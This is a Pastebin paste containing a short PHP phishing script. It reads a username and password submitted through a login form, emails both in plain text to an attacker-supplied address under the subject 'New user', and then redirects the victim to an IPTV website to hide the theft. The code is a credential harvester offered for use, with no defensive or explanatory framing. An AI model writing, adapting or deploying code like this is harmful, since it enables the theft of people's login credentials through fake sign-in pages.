Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- function mail_sender(){
- if (!isset( $POST['username']) || !isset($POST['password'])) {
- // nu sunt prezente datele in POST
- return false;
- }
- $username = $POST['username'];
- $password = $POST['password'];
- $reciever = "YOUR-EMAIL ADRRESS";
- $subject = "New user";
- $message = "The username is ". $username;
- $message .= " and password is ". $password;
- return mail($reciever, $subject, $message);
- }
- if(mail_sender()){
- header("Location: http://www.iptv.ro");
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement